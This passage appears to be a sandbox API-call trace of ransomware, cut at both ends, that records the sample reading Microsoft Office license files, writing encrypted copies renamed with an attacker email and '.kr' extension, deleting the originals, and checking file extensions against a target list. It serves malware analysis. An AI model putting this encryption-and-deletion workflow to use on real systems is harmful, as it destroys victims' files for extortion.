(normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.271] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.271] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.272] GetLastError () returned 0x0 [0200.272] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0200.274] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0200.275] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.275] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0200.275] SetEndOfFile (hFile=0x568) returned 1 [0200.275] CloseHandle (hObject=0x568) returned 1 [0200.275] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.276] SetEndOfFile (hFile=0x550) returned 1 [0200.279] CloseHandle (hObject=0x550) returned 1 [0200.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1 [0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.280] lstrlenW (lpString=".doc") returned 4 [0200.280] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.280] lstrlenW (lpString=".docx") returned 5 [0200.280] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.280] lstrlenW (lpString=".pdf") returned 4 [0200.281] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".xls") returned 4 [0200.281] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".xlsx") returned 5 [0200.281] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.281] lstrlenW (lpString=".ppt") returned 4 [0200.281] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString=".zip") returned 4 [0200.281] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".rar") returned 4 [0200.281] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".bz2") returned 4 [0200.281] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".7z") returned 3 [0200.281] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString=".dbf") returned 4 [0200.281] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString=".1cd") returned 4 [0200.281] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString=".jpg") returned 4 [0200.281] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.281] lstrlenW (lpString=".doc") returned 4 [0200.281] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.281] lstrlenW (lpString=".docx") returned 5 [0200.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.282] lstrlenW (lpString=".pdf") returned 4 [0200.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString=".xls") returned 4 [0200.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString=".xlsx") returned 5 [0200.282] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.282] lstrlenW (lpString=".ppt") returned 4 [0200.282] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.282] lstrlenW (lpString=".zip") returned 4 [0200.282] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString=".rar") returned 4 [0200.282] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString=".bz2") returned 4 [0200.282] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString=".7z") returned 3 [0200.282] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.282] lstrlenW (lpString=".dbf") returned 4 [0200.282] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.282] lstrlenW (lpString=".1cd") returned 4 [0200.282] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0200.282] lstrlenW (lpString=".jpg") returned 4 [0200.282] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.283] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.283] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31 [0200.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.283] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=32362) returned 1 [0200.283] CloseHandle (hObject=0x550) returned 1 [0200.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0200.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.284] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.284] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.285] GetLastError () returned 0x0 [0200.285] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x7e6a, lpOverlapped=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x7e70, lpOverlapped=0x0) returned 1 [0200.385] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.385] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x112, lpOverlapped=0x0) returned 1 [0200.385] SetEndOfFile (hFile=0x568) returned 1 [0200.388] CloseHandle (hObject=0x568) returned 1 [0200.388] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.388] SetEndOfFile (hFile=0x550) returned 1 [0200.405] CloseHandle (hObject=0x550) returned 1 [0200.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1 [0200.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.406] lstrlenW (lpString=".doc") returned 4 [0200.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.406] lstrlenW (lpString=".docx") returned 5 [0200.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.407] lstrlenW (lpString=".pdf") returned 4 [0200.407] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString=".xls") returned 4 [0200.407] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString=".xlsx") returned 5 [0200.407] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.407] lstrlenW (lpString=".ppt") returned 4 [0200.407] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString=".zip") returned 4 [0200.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString=".rar") returned 4 [0200.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString=".bz2") returned 4 [0200.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString=".7z") returned 3 [0200.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString=".dbf") returned 4 [0200.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString=".1cd") returned 4 [0200.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString=".jpg") returned 4 [0200.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.407] lstrlenW (lpString=".doc") returned 4 [0200.408] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".docx") returned 5 [0200.408] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.408] lstrlenW (lpString=".pdf") returned 4 [0200.408] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".xls") returned 4 [0200.408] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".xlsx") returned 5 [0200.408] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.408] lstrlenW (lpString=".ppt") returned 4 [0200.408] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.408] lstrlenW (lpString=".zip") returned 4 [0200.408] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".rar") returned 4 [0200.408] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".bz2") returned 4 [0200.408] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString=".7z") returned 3 [0200.408] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.408] lstrlenW (lpString=".dbf") returned 4 [0200.408] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.408] lstrlenW (lpString=".1cd") returned 4 [0200.408] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0200.408] lstrlenW (lpString=".jpg") returned 4 [0200.408] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.409] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.409] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34 [0200.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.410] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11616) returned 1 [0200.410] CloseHandle (hObject=0x550) returned 1 [0200.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0200.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.410] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.410] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.412] GetLastError () returned 0x0 [0200.412] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d60, lpOverlapped=0x0) returned 1 [0200.414] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0200.415] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.415] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0200.415] SetEndOfFile (hFile=0x568) returned 1 [0200.415] CloseHandle (hObject=0x568) returned 1 [0200.415] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.416] SetEndOfFile (hFile=0x550) returned 1 [0200.419] CloseHandle (hObject=0x550) returned 1 [0200.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1 [0200.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.420] lstrlenW (lpString=".doc") returned 4 [0200.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.420] lstrlenW (lpString=".docx") returned 5 [0200.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.420] lstrlenW (lpString=".pdf") returned 4 [0200.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.420] lstrlenW (lpString=".xls") returned 4 [0200.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString=".xlsx") returned 5 [0200.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.421] lstrlenW (lpString=".ppt") returned 4 [0200.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString=".zip") returned 4 [0200.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString=".rar") returned 4 [0200.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString=".bz2") returned 4 [0200.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString=".7z") returned 3 [0200.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString=".dbf") returned 4 [0200.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString=".1cd") returned 4 [0200.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString=".jpg") returned 4 [0200.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.421] lstrlenW (lpString=".doc") returned 4 [0200.422] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".docx") returned 5 [0200.422] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.422] lstrlenW (lpString=".pdf") returned 4 [0200.422] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".xls") returned 4 [0200.422] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".xlsx") returned 5 [0200.422] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.422] lstrlenW (lpString=".ppt") returned 4 [0200.422] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.422] lstrlenW (lpString=".zip") returned 4 [0200.422] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".rar") returned 4 [0200.422] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".bz2") returned 4 [0200.422] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString=".7z") returned 3 [0200.422] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.422] lstrlenW (lpString=".dbf") returned 4 [0200.422] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.422] lstrlenW (lpString=".1cd") returned 4 [0200.422] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0200.422] lstrlenW (lpString=".jpg") returned 4 [0200.422] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.423] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.423] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24 [0200.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.423] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11147) returned 1 [0200.423] CloseHandle (hObject=0x550) returned 1 [0200.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft 